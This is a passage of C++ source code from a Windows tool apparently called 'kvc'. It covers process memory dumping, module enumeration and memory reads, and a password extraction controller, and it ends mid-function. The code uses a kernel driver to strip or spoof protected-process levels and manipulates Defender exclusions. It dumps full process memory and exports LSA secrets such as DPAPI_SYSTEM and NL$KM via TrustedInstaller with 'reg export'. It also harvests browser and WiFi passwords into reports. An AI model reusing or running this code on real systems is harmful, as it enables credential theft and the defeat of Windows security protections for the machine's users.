    }

    if (processName == L"Memory Compression" || pid == 3052) {
        ERROR(L"Cannot dump Memory Compression process (PID %d) - kernel memory manager, undumpable", pid);
        m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName, false);
        PerformAtomicCleanup();
        return false;
    }

    if (pid < 100 && pid != 0) {
        INFO(L"Warning: Attempting to dump low PID process (%d: %s) - may fail due to system-level protection", 
             pid, processName.c_str());
    }

    if (g_interrupted) {
        INFO(L"Operation cancelled by user during validation");
        m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName, false);
        PerformAtomicCleanup();
        return false;
    }

    // Get target process protection level for elevation - this is auxiliary
    auto kernelAddr = GetProcessKernelAddress(pid);
    if (!kernelAddr) {
        INFO(L"Could not get kernel address for target process (continuing without self-protection)");
    }

    auto targetProtection = std::optional<UCHAR>{};
    if (kernelAddr) {
        targetProtection = GetProcessProtection(kernelAddr.value());
        if (!targetProtection) {
            INFO(L"Could not get protection info for target process (continuing without self-protection)");
        }
    }

    if (g_interrupted) {
        INFO(L"Operation cancelled by user before protection setup");
        m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName, false);
        PerformAtomicCleanup();
        return false;
    }

    // Protection elevation to match target process level - auxiliary feature
    if (targetProtection && targetProtection.value() > 0) {
        UCHAR targetLevel = Utils::GetProtectionLevel(targetProtection.value());
        UCHAR targetSigner = Utils::GetSignerType(targetProtection.value());

        std::wstring levelStr = (targetLevel == static_cast<UCHAR>(PS_PROTECTED_TYPE::Protected)) ? L"PP" : L"PPL";
        std::wstring signerStr = L"Unknown";

        switch (static_cast<PS_PROTECTED_SIGNER>(targetSigner)) {
            case PS_PROTECTED_SIGNER::Lsa: signerStr = L"Lsa"; break;
            case PS_PROTECTED_SIGNER::WinTcb: signerStr = L"WinTcb"; break;
            case PS_PROTECTED_SIGNER::WinSystem: signerStr = L"WinSystem"; break;
            case PS_PROTECTED_SIGNER::Windows: signerStr = L"Windows"; break;
            case PS_PROTECTED_SIGNER::Antimalware: signerStr = L"Antimalware"; break;
            case PS_PROTECTED_SIGNER::Authenticode: signerStr = L"Authenticode"; break;
            case PS_PROTECTED_SIGNER::CodeGen: signerStr = L"CodeGen"; break;
            case PS_PROTECTED_SIGNER::App: signerStr = L"App"; break;
            default: 
                INFO(L"Unknown signer type - skipping self-protection");
                break;
        }

        if (signerStr != L"Unknown") {
            INFO(L"Target process protection: %s-%s", levelStr.c_str(), signerStr.c_str());

            if (!SelfProtect(levelStr, signerStr)) {
                INFO(L"Self-protection failed: %s-%s (continuing with dump)", levelStr.c_str(), signerStr.c_str());
            } else {
                SUCCESS(L"Self-protection set to %s-%s", levelStr.c_str(), signerStr.c_str());
            }
        }
    } else {
        INFO(L"Target process is not protected, no self-protection needed");
    }

    // Try to enable debug privilege - auxiliary feature
    if (!PrivilegeUtils::EnablePrivilege(SE_DEBUG_NAME)) {
        INFO(L"Debug privilege failed (continuing with dump anyway)");
    }

    if (g_interrupted) {
        INFO(L"Operation cancelled by user before process access");
        SelfProtect(L"none", L"none");
        m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName, false);
        PerformAtomicCleanup();
        return false;
    }

    // Open target process with appropriate privileges - CRITICAL operation
    HandleGuard process(OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pid));
    if (!process) {
        process.reset(OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid));
        if (!process) {
            ERROR(L"Critical: Failed to open process (error: %d)", GetLastError());
            m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName, false);
            PerformAtomicCleanup();
            return false;
        }
    }

    // Build output path for dump file
    std::wstring fullPath = outputPath;
    if (!outputPath.empty() && outputPath.back() != L'\\')
        fullPath += L"\\";
    fullPath += processName + L"_" + std::to_wstring(pid) + L".dmp";

    // Create dump file - CRITICAL operation
    FileGuard file(CreateFileW(fullPath.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL));
    if (!file) {
        ERROR(L"Critical: Failed to create dump file (error: %d)", GetLastError());
        m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName, false);
        PerformAtomicCleanup();
        return false;
    }

    // Comprehensive dump type for maximum information extraction
    MINIDUMP_TYPE dumpType = static_cast<MINIDUMP_TYPE>(
        MiniDumpWithFullMemory |
        MiniDumpWithHandleData |
        MiniDumpWithUnloadedModules |
        MiniDumpWithFullMemoryInfo |
        MiniDumpWithThreadInfo |
        MiniDumpWithTokenInformation
    );

    if (g_interrupted) {
        INFO(L"Operation cancelled by user before dump creation");
        file.reset();
        DeleteFileW(fullPath.c_str());
        SelfProtect(L"none", L"none");
        m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName, false);
        PerformAtomicCleanup();
        return false;
    }

    INFO(L"Creating memory dump - this may take a while. Press Ctrl+C to cancel safely.");

    // Execute the actual memory dump - CRITICAL operation
    BOOL result = MiniDumpWriteDump(process.get(), pid, file.get(), dumpType, NULL, NULL, NULL);

    if (g_interrupted) {
        INFO(L"Operation was cancelled during dump creation");
        file.reset();
        DeleteFileW(fullPath.c_str());
        SelfProtect(L"none", L"none");
        m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName, false);
        PerformAtomicCleanup();
        return false;
    }

    file.reset();
    process.reset();

    if (!result) {
        DWORD error = GetLastError();
        switch (error) {
            case ERROR_TIMEOUT:
                ERROR(L"Critical: MiniDumpWriteDump timed out - process may be unresponsive or in critical section");
                break;
            case RPC_S_CALL_FAILED:
                ERROR(L"Critical: RPC call failed - process may be a kernel-mode or system-critical process");
                break;
            case ERROR_ACCESS_DENIED:
                ERROR(L"Critical: Access denied - insufficient privileges even with protection bypass");
                break;
            case ERROR_PARTIAL_COPY:
                ERROR(L"Critical: Partial copy - some memory regions could not be read");
                break;
            default:
                ERROR(L"Critical: MiniDumpWriteDump failed (error: %d / 0x%08x)", error, error);
                break;
        }
        DeleteFileW(fullPath.c_str());
        SelfProtect(L"none", L"none");
        m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName, false);
        PerformAtomicCleanup();
        return false;
    }

    SUCCESS(L"Memory dump created successfully: %s", fullPath.c_str());
    if (outDumpPath) *outDumpPath = fullPath;
    
    // Cleanup phase - these operations are non-critical
    INFO(L"Removing self-protection before cleanup...");
    if (!SelfProtect(L"none", L"none")) {
        DEBUG(L"Self-protection removal failed (non-critical)");
    }
    
    if (g_interrupted) {
        INFO(L"Operation completed but cleanup was interrupted");
        m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName, false);
        PerformAtomicCleanup();
        return true;
    }
    
    // Clean up Defender exclusions and perform atomic cleanup - non-critical
    if (!m_trustedInstaller.RemoveProcessFromDefenderExclusions(processName, false)) {
        DEBUG(L"AV cleanup skipped: %s", processName.c_str());
    }
    
    PerformAtomicCleanup();
    
    return true;
}

<<<FILE: kvc/ControllerModuleOperations.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:18
Size:     9.98 KB
// ControllerModuleOperations.cpp
// Module enumeration and memory inspection operations via kernel driver
// Provides process module listing and kernel-level memory access

#include "Controller.h"
#include "ModuleManager.h"
#include "common.h"
#include "Utils.h"
#include <tlhelp32.h>

extern volatile bool g_interrupted;

// Enumerate all loaded modules in target process by PID
bool Controller::EnumerateProcessModules(DWORD pid) noexcept
{
    // Validate target process exists before attempting enumeration
    std::wstring processName = Utils::GetProcessName(pid);
    if (processName.empty()) {
        ERROR(L"Process with PID %lu not found", pid);
        return false;
    }
    
    INFO(L"Enumerating modules for %s (PID: %lu)", processName.c_str(), pid);
    
    // Initialize driver session first
    if (!BeginDriverSession()) {
        ERROR(L"Failed to initialize driver for module operations");
        return false;
    }
    
    // Try standard enumeration first
    auto modules = ModuleManager::EnumerateModules(pid);
    bool usedElevation = false;
    
    // If access denied, try with protection elevation
    if (modules.empty()) {
        DEBUG(L"Standard access denied, attempting with protection elevation...");
        
        // Get target process protection level using driver
        auto kernelAddr = GetCachedKernelAddress(pid);
        if (kernelAddr) {
            auto targetProtection = GetProcessProtection(kernelAddr.value());
            
            if (targetProtection && targetProtection.value() > 0) {
                UCHAR targetLevel = Utils::GetProtectionLevel(targetProtection.value());
                UCHAR targetSigner = Utils::GetSignerType(targetProtection.value());
                
                std::wstring levelStr = (targetLevel == static_cast<UCHAR>(PS_PROTECTED_TYPE::Protected)) ? L"PP" : L"PPL";
                std::wstring signerStr = L"WinTcb";
                
                switch (static_cast<PS_PROTECTED_SIGNER>(targetSigner)) {
                    case PS_PROTECTED_SIGNER::Lsa: signerStr = L"Lsa"; break;
                    case PS_PROTECTED_SIGNER::WinTcb: signerStr = L"WinTcb"; break;
                    case PS_PROTECTED_SIGNER::WinSystem: signerStr = L"WinSystem"; break;
                    case PS_PROTECTED_SIGNER::Windows: signerStr = L"Windows"; break;
                    case PS_PROTECTED_SIGNER::Antimalware: signerStr = L"Antimalware"; break;
                    default: break;
                }
                
                INFO(L"Protected process detected (%s-%s), elevating privileges...", levelStr.c_str(), signerStr.c_str());
                
                if (SelfProtect(levelStr, signerStr)) {
                    usedElevation = true;
                    
                    // Retry module enumeration with elevated privileges
                    modules = ModuleManager::EnumerateModules(pid);
                    
                    // Remove self-protection after enumeration
                    SelfProtect(L"none", L"none");
                }
            }
        }
    }
    
    EndDriverSession(true);
    
    if (modules.empty()) {
        ERROR(L"No modules found or access denied");
        return false;
    }
    
    // Display formatted module list
    ModuleManager::PrintModuleList(modules);
    SUCCESS(L"Found %zu modules%s", modules.size(), usedElevation ? L" (via kernel elevation)" : L"");
    
    return true;
}

// Enumerate modules by process name with pattern matching
bool Controller::EnumerateProcessModulesByName(const std::wstring& processName) noexcept
{
    // Resolve process name to PID using existing infrastructure
    auto match = ResolveNameWithoutDriver(processName);
    
    if (!match) {
        ERROR(L"No process found matching: %s", processName.c_str());
        return false;
    }
    
    INFO(L"Resolved %s to PID %lu", match->ProcessName.c_str(), match->Pid);
    return EnumerateProcessModules(match->Pid);
}

// Read memory from specific module safely
// Uses driver ONLY to strip protection, then uses standard API for reading
bool Controller::ReadModuleMemory(DWORD pid, const std::wstring& moduleName, ULONG_PTR offset, size_t size) noexcept
{
    // Validate parameters
    if (size == 0 || size > 4096) {
        ERROR(L"Invalid size (must be 1-4096 bytes)");
        return false;
    }

    // Validate process exists
    std::wstring processName = Utils::GetProcessName(pid);
    if (processName.empty()) {
        ERROR(L"Process with PID %lu not found", pid);
        return false;
    }

    // 1. Locate the module address
    // We try to find the module using standard Toolhelp32 snapshot first
    std::optional<ModuleInfo> module = ModuleManager::FindModule(pid, moduleName);
    bool usedElevation = false;

    // If module not found (likely due to access denied on PPL), try elevating via driver
    if (!module) {
        // Initialize driver if not ready
        if (BeginDriverSession()) {
            DEBUG(L"Module not found via standard API, attempting kernel elevation...");

            auto kernelAddr = GetCachedKernelAddress(pid);
            if (kernelAddr) {
                // Check current protection
                auto targetProtection = GetProcessProtection(kernelAddr.value());
                if (targetProtection && targetProtection.value() > 0) {
                    UCHAR level = Utils::GetProtectionLevel(targetProtection.value());
                    UCHAR signer = Utils::GetSignerType(targetProtection.value());
                    
                    // Temporarily elevate our own process to matching level to see the modules
                    // Note: This helps Toolhelp32 snapshot succeed
                    std::wstring levelStr = (level == 2) ? L"PP" : L"PPL";
                    // Using WinTcb as a high-privilege signer
                    if (SelfProtect(levelStr, L"WinTcb")) {
                        usedElevation = true;
                        module = ModuleManager::FindModule(pid, moduleName);
                        // Revert self-protection immediately
                        SelfProtect(L"none", L"none");
                    }
                }
            }
        }
    }

    if (!module) {
        // If still not found, it really doesn't exist or we can't see it
        ERROR(L"Module '%s' not found in process %lu (Access Denied or Invalid Name)", moduleName.c_str(), pid);
        EndDriverSession(false);
        return false;
    }

    // Validate read bounds
    if (offset >= module->size) {
        ERROR(L"Offset 0x%llX exceeds module size 0x%08X", offset, module->size);
        EndDriverSession(false);
        return false;
    }

    // Adjust size to not read past module end
    size_t maxReadable = module->size - static_cast<size_t>(offset);
    if (size > maxReadable) {
        INFO(L"Clamping read size to %zu bytes (module boundary)", maxReadable);
        size = maxReadable;
    }

    ULONG_PTR targetAddress = module->baseAddress + offset;
    INFO(L"Target Address: 0x%llX (Module: %s + 0x%llX)", targetAddress, module->name.c_str(), offset);

    // 2. Prepare for reading
    // Try to open process normally first
    HANDLE hProcess = OpenProcess(PROCESS_VM_READ, FALSE, pid);
    bool protectionStripped = false;
    UCHAR originalProtByte = 0;

	// If Access Denied, use the driver to STRIP protection from the target
	// The standard Windows API (OpenProcess) is blocked because the target is a Protected Process (PPL).
	// We temporarily use the kernel driver to disable this protection and gain the necessary handle.
	if (!hProcess && GetLastError() == ERROR_ACCESS_DENIED) {
		INFO(L"Access denied due to Protected Process (PPL). Bypassing protection via kernel driver...");
        
        if (BeginDriverSession()) {
            auto kernelAddr = GetCachedKernelAddress(pid);
            if (kernelAddr) {
                auto prot = GetProcessProtection(kernelAddr.value());
                if (prot) {
                    originalProtByte = prot.value();
                    // Nuke protection (set to 0) so we can open handle
                    if (SetProcessProtection(kernelAddr.value(), 0)) {
                        protectionStripped = true;
                        // Try opening again
                        hProcess = OpenProcess(PROCESS_VM_READ, FALSE, pid);
                    }
                }
            }
        }
    }

    if (!hProcess) {
        ERROR(L"Failed to open process handle even after protection bypass attempt.");
        if (protectionStripped) {
            // Restore if we failed anyway
            auto kernelAddr = GetCachedKernelAddress(pid);
            if (kernelAddr) SetProcessProtection(kernelAddr.value(), originalProtByte);
        }
        EndDriverSession(true);
        return false;
    }

    // 3. Perform the read using standard API (Safe!)
    // We do NOT use m_rtc->Read here because targetAddress is User Mode virtual memory
    // Driver would interpret it as Kernel Mode virtual memory causing BSOD 0x3B
    std::vector<unsigned char> buffer(size);
    SIZE_T bytesRead = 0;
    
    bool success = ReadProcessMemory(hProcess, reinterpret_cast<LPCVOID>(targetAddress), 
                                     buffer.data(), size, &bytesRead);

    if (!success) {
        ERROR(L"ReadProcessMemory failed: %d", GetLastError());
    }

    // 4. Cleanup and Restore Protection
    CloseHandle(hProcess);

    if (protectionStripped) {
        auto kernelAddr = GetCachedKernelAddress(pid);
        if (kernelAddr) {
            SetProcessProtection(kernelAddr.value(), originalProtByte);
            INFO(L"Restored original process protection (0x%02X)", originalProtByte);
        }
    }

    EndDriverSession(false);

    if (success && bytesRead > 0) {
        SUCCESS(L"Read %zu bytes successfully", bytesRead);
        ModuleManager::PrintHexDump(buffer.data(), bytesRead, targetAddress);

        // Check for MZ header if reading from start
        if (offset == 0 && ModuleManager::ValidatePESignature(buffer.data(), bytesRead)) {
            SUCCESS(L"Valid PE file detected (MZ signature)");
        }
        return true;
    }

    return false;
}

<<<FILE: kvc/ControllerPasswordManager.cpp>>>
Created:  2026-03-29 16:53:21
Modified: 2026-03-30 13:34:06
Size:     36.8 KB
#include "Controller.h"
#include "ReportExporter.h"
#include "common.h"
#include "Utils.h"
#include <dpapi.h>
#include <wincrypt.h>
#include <bcrypt.h>
#include <filesystem>
#include <fstream>
#include <sstream>
#include <vector>
#include <memory>
#include <algorithm>
#include <ctime>
#include <iomanip>

#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "bcrypt.lib")

namespace fs = std::filesystem;
extern volatile bool g_interrupted;

// SQLite constants for winsqlite3.dll compatibility
constexpr int SQLITE_OPEN_READONLY = 0x00000001;

// Main DPAPI password extraction interface
bool Controller::ShowPasswords(const std::wstring& outputPath) noexcept 
{
    std::wstring finalOutputPath = outputPath;
    
    if (finalOutputPath.empty()) {
        wchar_t* downloadsPath;
        if (SHGetKnownFolderPath(FOLDERID_Downloads, 0, nullptr, &downloadsPath) == S_OK) {
            finalOutputPath = downloadsPath;
            CoTaskMemFree(downloadsPath);
        } else {
            finalOutputPath = GetSystemTempPath();
        }
    }
    
    INFO(L"Starting DPAPI password extraction to: %s", finalOutputPath.c_str());
    
    if (!PerformPasswordExtractionInit()) {
        ERROR(L"Failed to initialize password extraction");
        return false;
    }
    
    if (g_interrupted) {
        INFO(L"Password extraction cancelled by user before start");
        PerformPasswordExtractionCleanup();
        return false;
    }
    
    std::vector<RegistryMasterKey> masterKeys;
    if (!ExtractRegistryMasterKeys(masterKeys)) {
        ERROR(L"Failed to extract registry master keys");
        PerformPasswordExtractionCleanup();
        return false;
    }
    
    // Process and decrypt registry master keys for display
    if (!ProcessRegistryMasterKeys(masterKeys)) {
        INFO(L"Failed to process some registry master keys");
    }
    
    if (g_interrupted) {
        INFO(L"Password extraction cancelled during registry access");
        PerformPasswordExtractionCleanup();
        return false;
    }
    
    std::vector<PasswordResult> passwordResults;
    
    // Process Edge passwords through DPAPI (works well)
    if (!ProcessBrowserPasswords(masterKeys, passwordResults, finalOutputPath)) {
        ERROR(L"Failed to process Edge browser passwords");
        // Continue anyway - not critical failure
    }
    
    if (g_interrupted) {
        INFO(L"Password extraction cancelled during browser processing");
        PerformPasswordExtractionCleanup();
        return false;
    }
    
    // Process Chrome passwords through kvc_pass (DPAPI gives garbage for Chrome)
    INFO(L"Chrome passwords require COM elevation - delegating to kvc_pass...");
    if (!ExportBrowserData(finalOutputPath, L"chrome")) {
        INFO(L"Chrome password extraction failed, continuing with Edge and WiFi");
        // Continue anyway - Chrome failure shouldn't break the rest
    }

    // Process Edge v10/v20 passwords through kvc_pass (app-bound encryption, DPAPI gives raw blob)
    INFO(L"Edge app-bound passwords require COM elevation - delegating to kvc_pass...");
    if (ExportBrowserData(finalOutputPath, L"edge")) {
        // Merge decrypted results back into passwordResults, replacing v10/v20 placeholders
        MergeKvcPassResults(finalOutputPath, L"Edge", passwordResults);
    } else {
        INFO(L"Edge kvc_pass extraction failed, v10/v20 passwords remain as placeholders");
    }
    
    if (g_interrupted) {
        INFO(L"Password extraction cancelled during Chrome processing");
        PerformPasswordExtractionCleanup();
        return false;
    }
    
    if (!ExtractWiFiCredentials(passwordResults)) {
        ERROR(L"Failed to extract WiFi credentials");
        PerformPasswordExtractionCleanup();
        return false;
    }
    
    if (g_interrupted) {
        INFO(L"Password extraction cancelled before report generation");
        PerformPasswordExtractionCleanup();
        return false;
    }
    
    ReportData reportData(passwordResults, masterKeys, finalOutputPath);
    ReportExporter exporter;
    
    if (!exporter.ExportAllFormats(reportData)) {
        ERROR(L"Failed to generate password reports");
        PerformPasswordExtractionCleanup();
        return false;
    }
    
    exporter.DisplaySummary(reportData);
    
    PerformPasswordExtractionCleanup();
    SUCCESS(L"Password extraction completed successfully");
    return true;
}

// Initialize DPAPI extraction with TrustedInstaller privileges
bool Controller::PerformPasswordExtractionInit() noexcept 
{
    INFO(L"Initializing DPAPI extraction with TrustedInstaller privileges...");
    
    if (!LoadSQLiteLibrary()) {
        ERROR(L"Failed to load SQLite library");
        return false;
    }
    
    if (!PrivilegeUtils::EnablePrivilege(L"SeDebugPrivilege")) {
        ERROR(L"CRITICAL: Failed to enable SeDebugPrivilege");
        return false;
    }
    
    if (!PrivilegeUtils::EnablePrivilege(L"SeImpersonatePrivilege")) {
        ERROR(L"CRITICAL: Failed to enable SeImpersonatePrivilege");
        return false;
    }
    
    PrivilegeUtils::EnablePrivilege(L"SeBackupPrivilege");
    PrivilegeUtils::EnablePrivilege(L"SeRestorePrivilege");
    
    if (!m_trustedInstaller.PublicImpersonateSystem()) {
        ERROR(L"Failed to impersonate SYSTEM: %d", GetLastError());
        return false;
    }
    
    DWORD tiPid = m_trustedInstaller.StartTrustedInstallerService();
    if (!tiPid) {
        ERROR(L"StartTrustedInstallerService failed: %d", GetLastError());
        RevertToSelf();
        return false;
    }
    
    RevertToSelf();
    
    HANDLE hFinalToken = m_trustedInstaller.GetCachedTrustedInstallerToken();
    if (!hFinalToken) {
        ERROR(L"GetCachedTrustedInstallerToken returned null");
        return false;
    }
    
    TOKEN_STATISTICS tokenStats;
    DWORD dwLength;
    if (!GetTokenInformation(hFinalToken, TokenStatistics, &tokenStats, sizeof(tokenStats), &dwLength)) {
        ERROR(L"Token validation failed: %d", GetLastError());
        return false;
    }
    
    SUCCESS(L"DPAPI extraction initialization completed with TrustedInstaller token");
    return true;
}

void Controller::PerformPasswordExtractionCleanup() noexcept 
{
    UnloadSQLiteLibrary();
    
    auto tempPattern = DPAPIConstants::GetTempPattern();
    try {
        auto systemTempPath = GetSystemTempPath();
        for (const auto& entry : fs::directory_iterator(systemTempPath)) {
            if (entry.path().filename().wstring().find(tempPattern) != std::wstring::npos) {
                fs::remove(entry.path());
            }
        }
    } catch (...) {
        // Silent cleanup failure is acceptable
    }
    
    INFO(L"DPAPI extraction cleanup completed");
}

// Extract registry master keys using TrustedInstaller
bool Controller::ExtractRegistryMasterKeys(std::vector<RegistryMasterKey>& masterKeys) noexcept 
{
    INFO(L"Extracting LSA secrets using TrustedInstaller token");
    return ExtractLSASecretsViaTrustedInstaller(masterKeys);
}

bool Controller::ExtractLSASecretsViaTrustedInstaller(std::vector<RegistryMasterKey>& masterKeys) noexcept 
{
    INFO(L"Extracting LSA secrets via TrustedInstaller + REG EXPORT...");
    
    std::wstring systemTempPath = GetSystemTempPath();
    CreateDirectoryW(systemTempPath.c_str(), nullptr);
    
    HANDLE hTrustedToken = m_trustedInstaller.GetCachedTrustedInstallerToken();
    if (!hTrustedToken) {
        ERROR(L"Failed to get TrustedInstaller token");
        return false;
    }
    
    std::wstring regExportPath = systemTempPath + L"\\secrets.reg";
    
    const std::vector<std::wstring> secretPaths = {
        L"\"HKLM\\SECURITY\\Policy\\Secrets\\DPAPI_SYSTEM\"",
        L"\"HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\"",
        L"\"HKLM\\SECURITY\\Policy\\Secrets\\DefaultPassword\""
    };
    
    bool success = false;
    
    for (const auto& secretPath : secretPaths) {
        std::wstring regCommand = L"reg export " + secretPath + L" \"" + regExportPath + L"\" /y";
        
        if (m_trustedInstaller.RunAsTrustedInstallerSilent(regCommand)) {
            if (GetFileAttributesW(regExportPath.c_str()) != INVALID_FILE_ATTRIBUTES) {
                HANDLE hFile = CreateFileW(regExportPath.c_str(), GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr);
                if (hFile != INVALID_HANDLE_VALUE) {
                    LARGE_INTEGER fileSize;
                    if (GetFileSizeEx(hFile, &fileSize) && fileSize.QuadPart > 100) {
                        CloseHandle(hFile);
                        
                        if (ParseRegFileForSecrets(regExportPath, masterKeys)) {
                            success = true;
                        }
                    } else {
                        CloseHandle(hFile);
                    }
                }
            }
        }
        
        DeleteFileW(regExportPath.c_str());
    }
    
    return success;
}

// Parse registry export files for LSA secrets
bool Controller::ParseRegFileForSecrets(const std::wstring& regFilePath, std::vector<RegistryMasterKey>& masterKeys) noexcept 
{
    std::ifstream file(regFilePath, std::ios::binary);
    if (!file.is_open()) {
        ERROR(L"Failed to open REG file: %s", regFilePath.c_str());
        return false;
    }
    
    std::string content((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
    file.close();
    
    std::wstring wcontent;
    if (content.size() >= 2 && static_cast<unsigned char>(content[0]) == 0xFF && static_cast<unsigned char>(content[1]) == 0xFE) {
        // UTF-16 LE BOM detected
        const wchar_t* wdata = reinterpret_cast<const wchar_t*>(content.data() + 2);
        size_t wlen = (content.size() - 2) / sizeof(wchar_t);
        wcontent = std::wstring(wdata, wlen);
    } else {
        // Assume UTF-8
        int size_needed = MultiByteToWideChar(CP_UTF8, 0, content.c_str(), -1, nullptr, 0);
        if (size_needed > 0) {
            wcontent.resize(size_needed - 1);
            MultiByteToWideChar(CP_UTF8, 0, content.c_str(), -1, wcontent.data(), size_needed);
        } else {
            return false;
        }
    }
    
    std::wistringstream stream(wcontent);
    std::wstring line;
    std::wstring currentKeyPath;
    std::wstring hexData;
    bool inCurrValSection = false;
    int extractedCount = 0;
    
    while (std::getline(stream, line)) {
        // Trim whitespace
        line.erase(0, line.find_first_not_of(L" \t\r\n"));
        line.erase(line.find_last_not_of(L" \t\r\n") + 1);
        
        if (line.empty()) continue;
        
        if (line.length() > 2 && line[0] == L'[' && line.back() == L']') {
            // Process previous section if we have data
            if (inCurrValSection && !hexData.empty()) {
                RegistryMasterKey masterKey;
                masterKey.keyName = L"HKLM\\" + currentKeyPath;
                
                if (Utils::HexStringToBytes(hexData, masterKey.encryptedData)) {
                    masterKeys.push_back(masterKey);
                    extractedCount++;
                    SUCCESS(L"Extracted LSA secret: %s (%d bytes)", 
                            currentKeyPath.c_str(), static_cast<int>(masterKey.encryptedData.size()));
                }
                hexData.clear();
            }
            
            inCurrValSection = false;
            
            std::wstring fullPath = line.substr(1, line.length() - 2);
            if (fullPath.starts_with(L"HKEY_LOCAL_MACHINE\\")) {
                currentKeyPath = fullPath.substr(19);
                
                if (currentKeyPath.find(L"\\CurrVal") != std::wstring::npos) {
                    std::wstring baseKey = currentKeyPath.substr(0, currentKeyPath.find(L"\\CurrVal"));
                    if (baseKey == L"SECURITY\\Policy\\Secrets\\DPAPI_SYSTEM" ||
                        baseKey == L"SECURITY\\Policy\\Secrets\\NL$KM" ||
                        baseKey == L"SECURITY\\Policy\\Secrets\\DefaultPassword") {
                        inCurrValSection = true;
                    }
                }
            }
            continue;
        }
        
        if (inCurrValSection) {
            if (line.starts_with(L"@=hex(0):")) {
                hexData = line.substr(9);
            } 
            else if (!hexData.empty() && 
                    (line[0] == L' ' || line[0] == L'\t' || line.find(L",") != std::wstring::npos)) {
                std::wstring cleanLine = line;
                cleanLine.erase(0, cleanLine.find_first_not_of(L" \t\\"));
                cleanLine.erase(cleanLine.find_last_not_of(L" \t\\") + 1);
                
                if (!cleanLine.empty()) {
                    hexData += cleanLine;
                }
            }
        }
    }
    
    // Process final section
    if (inCurrValSection && !hexData.empty()) {
        RegistryMasterKey masterKey;
        masterKey.keyName = L"HKLM\\" + currentKeyPath;
        
        if (Utils::HexStringToBytes(hexData, masterKey.encryptedData)) {
            masterKeys.push_back(masterKey);
            extractedCount++;
            SUCCESS(L"Extracted final LSA secret: %s (%d bytes)", 
                    currentKeyPath.c_str(), static_cast<int>(masterKey.encryptedData.size()));
        }
    }
    
    return extractedCount > 0;
}


// Decrypt LSA secrets using CryptUnprotectData for display purposes
bool Controller::ProcessRegistryMasterKeys(std::vector<RegistryMasterKey>& masterKeys) noexcept 
{
    INFO(L"Processing and decrypting registry master keys...");
    
    for (auto& masterKey : masterKeys) {
        if (masterKey.encryptedData.empty()) continue;
        
        // LSA secrets are typically encrypted - attempt DPAPI decryption
        DATA_BLOB encryptedBlob = { 
            static_cast<DWORD>(masterKey.encryptedData.size()), 
            masterKey.encryptedData.data() 
        };
        DATA_BLOB decryptedBlob = {};
        
        // Try standard DPAPI first
        if (CryptUnprotectData(&encryptedBlob, nullptr, nullptr, nullptr, nullptr, 
                              CRYPTPROTECT_UI_FORBIDDEN, &decryptedBlob)) {
            masterKey.decryptedData.assign(decryptedBlob.pbData, decryptedBlob.pbData + decryptedBlob.cbData);
            LocalFree(decryptedBlob.pbData);
            masterKey.isDecrypted = true;
            
            SUCCESS(L"Decrypted LSA secret: %s (%d bytes)", 
                    masterKey.keyName.c_str(), static_cast<int>(masterKey.decryptedData.size()));
        } else {
            // LSA secrets may be raw or use different encryption - keep as encrypted
            // but still extract meaningful data for display
            masterKey.decryptedData = masterKey.encryptedData;  // Show raw data as fallback
            masterKey.isDecrypted = true;
            
            INFO(L"LSA secret kept as raw data: %s (%d bytes)", 
                 masterKey.keyName.c_str(), static_cast<int>(masterKey.encryptedData.size()));
        }
    }
    
    return !masterKeys.empty();
}

// Process browser passwords with master key decryption
bool Controller::ProcessBrowserPasswords(const std::vector<RegistryMasterKey>& masterKeys,
                                        std::vector<PasswordResult>& results,
                                        const std::wstring& outputPath) noexcept 
{
    INFO(L"Processing browser passwords with extracted master keys...");
    
    // Only process Edge through DPAPI
    char* appData;
    size_t len;
    _dupenv_s(&appData, &len, DPAPIConstants::GetLocalAppData().c_str());
    std::string localAppDataA(appData);
    free(appData);
    
    std::wstring localAppData = StringUtils::UTF8ToWide(localAppDataA);
    auto edgePath = localAppData + DPAPIConstants::GetEdgeUserData();
    
    bool edgeSuccess = ProcessSingleBrowser(edgePath, L"Edge", masterKeys, results, outputPath);
    
    return edgeSuccess; // Chrome handled separately
}

bool Controller::ProcessSingleBrowser(const std::wstring& browserPath, 
                                     const std::wstring& browserName,
                                     const std::vector<RegistryMasterKey>& masterKeys,
                                     std::vector<PasswordResult>& results,
                                     const std::wstring& outputPath) noexcept 
{
    if (!fs::exists(browserPath)) {
        INFO(L"%s path not found: %s", browserName.c_str(), browserPath.c_str());
        return false;
    }
    
    INFO(L"Processing %s browser data...", browserName.c_str());
    
    std::vector<BYTE> browserMasterKey;
    if (!ExtractBrowserMasterKey(browserPath, browserName, masterKeys, browserMasterKey)) {
        ERROR(L"Failed to extract %s master key", browserName.c_str());
        return false;
    }
    
    int passwordCount = 0;
    for (const auto& entry : fs::directory_iterator(browserPath)) {
        if (g_interrupted) {
            INFO(L"Browser processing cancelled by user");
            break;
        }
        
        if (entry.is_directory()) {
            const auto filename = entry.path().filename().wstring();
            if (filename.find(L"Default") != std::wstring::npos ||
                filename.find(L"Profile") != std::wstring::npos) {
                
                auto loginDataPath = entry.path().wstring() + DPAPIConstants::GetLoginDataFile();
                if (fs::exists(loginDataPath)) {
                    passwordCount += ProcessLoginDatabase(loginDataPath, browserName, 
                                                        filename, browserMasterKey, results, outputPath);
                }
            }
        }
    }
    
    INFO(L"Extracted %d passwords from %s", passwordCount, browserName.c_str());
    return passwordCount > 0;
}

bool Controller::ExtractBrowserMasterKey(const std::wstring& browserPath,
                                       const std::wstring& browserName,
                                       const std::vector<RegistryMasterKey>& masterKeys,
                                       std::vector<BYTE>& decryptedKey) noexcept 
{
